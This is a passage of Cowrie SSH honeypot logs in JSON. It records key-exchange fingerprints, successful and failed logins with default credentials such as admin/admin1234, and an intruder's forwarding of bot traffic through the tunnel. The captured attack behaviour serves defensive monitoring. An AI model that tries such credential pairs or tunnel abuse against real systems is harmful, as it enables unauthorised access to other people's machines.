istp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:18.549181Z","src_ip":"91.92.40.36","session":"97bc9180fdb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55328,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6ebdf305d5","protocol":"ssh","message":"New connection: 123.27.168.40:55328 (10.17.0.5:22) [session: 0f6ebdf305d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:23.522431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:23.526661Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:23.845041Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:24.981107Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.347889Z","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.438189Z","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"22ad39a03c28","protocol":"ssh","message":"New connection: 91.92.40.36:48418 (159.203.135.109:22) [session: 22ad39a03c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.536446Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.594697Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=T2w%2FbFZsNE5VQV9VVDNVZQ%3D%3D1zrvXoC%2BJnn4sauNcFSdO6EEf%2FPxDysE%2FG628CtFi5GAZrI2Touu6KsIKFbuUuEm03Jot4ab2zuKWBqWnqyQqvhFzGSx48YGEwF5YtCgbIacrs%2BCofzot%2BTm1194aJwvJubQiGBzvweBvZPKW7mUGUizYksy8r2LQGaju4CdQP4uewBc9BdUPqGSVAV5Xb9fh%2FKAreMbfyb5cVuVq9%2FhCIVoLLj%2B%2BRzvdMBAVUlaJ9ATBhUlizt5ZY6ZMUGVn8BTuHL5jqK3nLpkA0tvkSOrIc11ivCFb0Zcwg%2B%2FPaNrEhS%2Fh6Q4wkWlJEHE6lsyErBH7fRQWyK800YXRx68ZLNOHH91HoII7902%2FW306fbUYgoXf6F%2F5Bd%2F2YwpzoqAejIFf89NHk6%2F7tpgSDE2sH1sOv98pgYrjh8tFQ87mx%2BOqjRPLuehRtVvHkkX2dIo8tYSt27fMZd5igamSGkL2lSoTPCt5D4O%2BhKgo7o2oC%2BjsC%2Fa38R1yPEbgYjPS49j3ryE8vEND6VLTnXuLKZSJhOmuSHuJALlWfvW3gVHRLWBjfKmjfpvIGDaJVPA4XuXPhcxhcOF2p912hnz%2F6%2Bf1azEmNRhu3l%2BHe8d7pGjWAw27W3eTW4a14KQxDRJqUVuRidFPUqy4%2B1KLR1ff2okc28g3hjZBqFbYHD2ZjsnCEI3uwXjhwwUfmNeMr%2FpxYF80bILGcmOozycf9ep2ggrbpC%2FRsEBzUIpaViLkXM1tCwu6%2B28GWUOOjFREtF2nVJPmRo5yzvWzcuyMGO%2FDWyS9ilRE2iUJqfB1%2BxtTOvKaubZDY15SYYpOY%2B1pVFT0bWPqrKLHEaeYYhRaRWBh2IydDViyuGpme4vcwA7X2FhranSrhEjbRQI4b3%2FFl1iaumYnsLcvsrD6CirUWfrL2Y4d1k%2FuCaG53bHJgKksE27nLkKzbO7PcM%2BfPGKEG745ymy8OrkUWR05rsOsrUh3Pa2OT98rTAiRkQot%2BgfoG4eXRU6aDLdenfFqovoDZmuwApb7vbF0Oa1AbX8AAEFwbvNJHL2zZ8yUchsnq%2FaVlOBlRi1g%2FM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=T2w%2FbFZsNE5VQV9VVDNVZQ%3D%3D1zrvXoC%2BJnn4sauNcFSdO6EEf%2FPxDysE%2FG628CtFi5GAZrI2Touu6KsIKFbuUuEm03Jot4ab2zuKWBqWnqyQqvhFzGSx48YGEwF5YtCgbIacrs%2BCofzot%2BTm1194aJwvJubQiGBzvweBvZPKW7mUGUizYksy8r2LQGaju4CdQP4uewBc9BdUPqGSVAV5Xb9fh%2FKAreMbfyb5cVuVq9%2FhCIVoLLj%2B%2BRzvdMBAVUlaJ9ATBhUlizt5ZY6ZMUGVn8BTuHL5jqK3nLpkA0tvkSOrIc11ivCFb0Zcwg%2B%2FPaNrEhS%2Fh6Q4wkWlJEHE6lsyErBH7fRQWyK800YXRx68ZLNOHH91HoII7902%2FW306fbUYgoXf6F%2F5Bd%2F2YwpzoqAejIFf89NHk6%2F7tpgSDE2sH1sOv98pgYrjh8tFQ87mx%2BOqjRPLuehRtVvHkkX2dIo8tYSt27fMZd5igamSGkL2lSoTPCt5D4O%2BhKgo7o2oC%2BjsC%2Fa38R1yPEbgYjPS49j3ryE8vEND6VLTnXuLKZSJhOmuSHuJALlWfvW3gVHRLWBjfKmjfpvIGDaJVPA4XuXPhcxhcOF2p912hnz%2F6%2Bf1azEmNRhu3l%2BHe8d7pGjWAw27W3eTW4a14KQxDRJqUVuRidFPUqy4%2B1KLR1ff2okc28g3hjZBqFbYHD2ZjsnCEI3uwXjhwwUfmNeMr%2FpxYF80bILGcmOozycf9ep2ggrbpC%2FRsEBzUIpaViLkXM1tCwu6%2B28GWUOOjFREtF2nVJPmRo5yzvWzcuyMGO%2FDWyS9ilRE2iUJqfB1%2BxtTOvKaubZDY15SYYpOY%2B1pVFT0bWPqrKLHEaeYYhRaRWBh2IydDViyuGpme4vcwA7X2FhranSrhEjbRQI4b3%2FFl1iaumYnsLcvsrD6CirUWfrL2Y4d1k%2FuCaG53bHJgKksE27nLkKzbO7PcM%2BfPGKEG745ymy8OrkUWR05rsOsrUh3Pa2OT98rTAiRkQot%2BgfoG4eXRU6aDLdenfFqovoDZmuwApb7vbF0Oa1AbX8AAEFwbvNJHL2zZ8yUchsnq%2FaVlOBlRi1g%2FM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.597996Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234","message":"login attempt [ubuntu/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.787428Z","src_ip":"91.92.40.36","session":"97bc9180fdb9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.836813Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xb3\\x14\\x1arM\\xbb\\xe8\\xb1K\\x91\\xf5k\\xa4x0\\x01_\\x06\\x17\\xd0\\xd1b=v6\\x17\\xffy\\x93\\xb8\\xbe s\\x0b\\xa3\\xe6sq9\\xcb\"S\\xabeqk\\xa3\\xd2\\xfc\\xff\\xf5\\x02\\xbe\\xc5\\xdd\\xc8Zs\\xc6\\x0e\\xc1\\xe6\\xea\\xd6\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x07s\\xa8.\\xd8`\\x08D{\\xcb\\xe8\\xbf\\xad\\xee?\\xf1T{\\xc3{\\xd9\\\\\"G\\xe1/\\xff\"\\xe9\\xd78\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xb3\\x14\\x1arM\\xbb\\xe8\\xb1K\\x91\\xf5k\\xa4x0\\x01_\\x06\\x17\\xd0\\xd1b=v6\\x17\\xffy\\x93\\xb8\\xbe s\\x0b\\xa3\\xe6sq9\\xcb\"S\\xabeqk\\xa3\\xd2\\xfc\\xff\\xf5\\x02\\xbe\\xc5\\xdd\\xc8Zs\\xc6\\x0e\\xc1\\xe6\\xea\\xd6\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x07s\\xa8.\\xd8`\\x08D{\\xcb\\xe8\\xbf\\xad\\xee?\\xf1T{\\xc3{\\xd9\\\\\"G\\xe1/\\xff\"\\xe9\\xd78\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:25.839880Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.006971Z","src_ip":"91.92.40.36","session":"22ad39a03c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.012519Z","src_ip":"91.92.40.36","session":"22ad39a03c28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.321914Z","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:26.574882Z","src_ip":"123.27.168.40","session":"0f6ebdf305d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\x87,\\t.\\x87\\xb4(Xa\\xb3}i\\x87:\\x17\\x8eh\\x9c\\x84\\xda\\xefD\"\\x8cP\\x04\\\\\\xfc\\x84\\xa6\\x85 i\\x112\\x11`\\xf5\\x887\"\\xb6|u\\xc5Ga\\x82\\xafO\\xf1\\xa8S8\\xf0-!\\x9f8\\xf1a|\\x02\\xc6\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 X\\x1e\\xf6\\xa7\\x93\\xb7tk_\\xa2\\xce\\xccE9\\x97\\x98\\xa2t\\xa7\\xa6\\x05\\xe2\\xa4\\x13\\xe46\\xc5f\\xa2_\\x80%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf\\x87,\\t.\\x87\\xb4(Xa\\xb3}i\\x87:\\x17\\x8eh\\x9c\\x84\\xda\\xefD\"\\x8cP\\x04\\\\\\xfc\\x84\\xa6\\x85 i\\x112\\x11`\\xf5\\x887\"\\xb6|u\\xc5Ga\\x82\\xafO\\xf1\\xa8S8\\xf0-!\\x9f8\\xf1a|\\x02\\xc6\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 